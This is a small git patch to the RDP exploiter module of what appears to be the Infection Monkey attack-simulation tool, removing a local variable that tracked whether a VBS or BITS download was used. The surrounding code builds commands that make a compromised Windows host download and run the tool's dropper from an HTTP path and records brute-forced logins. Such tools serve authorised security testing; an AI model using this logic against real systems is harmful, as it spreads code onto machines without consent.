From 2f66b77a3348270284207626bfdd2b5ec6a4c792 Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Mon, 15 Apr 2019 09:41:03 +0300
Subject: [PATCH] small refactor in rdbgrinder

---
 monkey/infection_monkey/exploit/rdpgrinder.py | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py
index 99d13aa6a..28b1b7c70 100644
--- a/monkey/infection_monkey/exploit/rdpgrinder.py
+++ b/monkey/infection_monkey/exploit/rdpgrinder.py
@@ -280,12 +280,10 @@ class RdpExploiter(HostExploiter):
         cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1)
 
         if self._config.rdp_use_vbs_download:
-            download_method = 'VBS'
             command = RDP_CMDLINE_HTTP_VBS % {
                 'monkey_path': self._config.dropper_target_path_win_32,
                 'http_path': http_path, 'parameters': cmdline}
         else:
-            download_method = 'BITS'
             command = RDP_CMDLINE_HTTP_BITS % {
                 'monkey_path': self._config.dropper_target_path_win_32,
                 'http_path': http_path, 'parameters': cmdline}
@@ -316,7 +314,7 @@ class RdpExploiter(HostExploiter):
                 client_factory.done_event.wait()
 
                 if client_factory.success:
-                    if download_method == 'BITS':
+                    if not self._config.rdp_use_vbs_download:
                         VictimHostTelem("T1197", ScanStatus.USED.value, self.host, BITS_UPLOAD_STRING)
                     exploited = True
                     self.report_login_attempt(True, user, password)